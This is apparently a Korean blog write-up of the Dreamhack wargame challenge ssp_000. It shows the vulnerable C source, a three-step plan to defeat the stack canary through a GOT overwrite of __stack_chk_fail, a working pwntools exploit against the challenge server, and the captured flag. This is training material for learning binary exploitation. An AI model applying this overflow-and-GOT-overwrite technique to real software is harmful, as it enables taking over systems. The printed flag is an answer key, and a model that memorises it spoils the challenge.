본문 바로가기

Wargame/Dreamhack

[Dreamhack] ssp_000

 

 

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {
    long addr;
    long value;
    char buf[0x40] = {};

    initialize();


    read(0, buf, 0x80);

    printf("Addr : ");
    scanf("%ld", &addr);
    printf("Value : ");
    scanf("%ld", &value);

    *(long *)addr = value;

    return 0;
}

 

 

get_shell 함수 -> shell을 띄워준다.

read(0, buf, 0x80) -> 버퍼 오버플로우 발생

임의 주소에 원하는 값을 쓸 수 있다.

 

 

카나리 보호 기법이 있는데 카나리 릭은 못할 것 같다.

 

1. 임의 쓰기 취약점으로 Canary를 변조 -> __stack_chk_fail 함수가 실행되게 한다

2. __stack_chk_fail 함수를 get_shell 함수로 GOT Overwrite

3. 쉘 획득

 

from pwn import *

p = remote("host3.dreamhack.games", 12209)
e = ELF("./ssp_000")

#context.log_level = 'debug'

get_shell = e.symbols['get_shell']
stack_chk_fail_got = e.got['__stack_chk_fail']


payload = b'A' * 0x50
p.sendline(payload)

print("[+] stack_chk_fail: ", hex(stack_chk_fail_got))

p.sendlineafter("Addr : ", str(stack_chk_fail_got))
p.sendlineafter("Value : ", str(get_shell))

p.interactive()

 

 

 

DH{e4d253b82911565ad8dd9625fb491ab0}

 

 

 

 

 

 

 

'Wargame > Dreamhack' 카테고리의 다른 글

[Dreamhack] validator  (0) 2023.11.25
[Dreamhack] cmd_center  (0) 2023.11.25
[Dreamhack] sint  (0) 2023.11.25
[Dreamhack] tcache_dup  (0) 2023.11.19
[Dreamhack] uaf_overwrite  (0) 2023.11.11